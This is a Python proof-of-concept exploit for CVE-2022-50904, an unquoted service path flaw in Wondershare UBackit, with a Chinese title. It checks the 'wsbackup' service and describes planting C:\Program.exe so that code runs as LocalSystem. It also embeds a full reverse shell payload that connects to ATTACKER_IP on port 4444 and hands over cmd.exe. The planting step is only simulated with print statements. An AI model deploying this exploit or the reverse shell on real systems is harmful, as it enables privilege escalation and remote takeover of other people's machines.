CVE-2022-50904: Wondershare UBackit 未引用服务路径权限提升漏洞

# CVE-2022-50904 PoC - Wondershare UBackit Unquoted Service Path # This PoC demonstrates how to exploit the unquoted service path vulnerability # to escalate privileges to LocalSystem import os import subprocess import shutil def check_vulnerability(): """Check if the target system is vulnerable""" service_name = "wsbackup" service_path = r"C:\Program Files\Wondershare\UBackit\wsbackup.exe" # Check if service exists and path is unquoted try: result = subprocess.run( ['sc', 'qc', service_name], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print(f"[+] Service '{service_name}' found") print(f"[+] Service path: {service_path}") return True except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a malicious executable that will run as LocalSystem""" # Create a reverse shell payload or other malicious code malicious_code = ''' import socket import subprocess import os # Create reverse shell connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("ATTACKER_IP", 4444)) # Redirect stdin/stdout/stderr to socket os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) # Execute command shell subprocess.call(["cmd.exe"]) ''' # In real scenario, compile to executable # This is a simplified demonstration print("[+] Malicious executable would be created here") return True def exploit(): """Exploit the unquoted service path vulnerability""" if not check_vulnerability(): print("[-] Target is not vulnerable") return False # Create malicious executable in unquoted path location # Path: C:\Program.exe malicious_path = r"C:\Program.exe" try: # Create the malicious executable create_malicious_executable() # In real attack, place the executable at: # C:\Program.exe # When wsbackup service starts, it will execute this first print(f"[+] Malicious executable placed at: {malicious_path}") print("[+] Waiting for service restart...") print("[+] When service restarts, malicious code will execute as LocalSystem") return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False if __name__ == "__main__": print("CVE-2022-50904 - Wondershare UBackit Unquoted Service Path Exploit") print("=" * 60) exploit()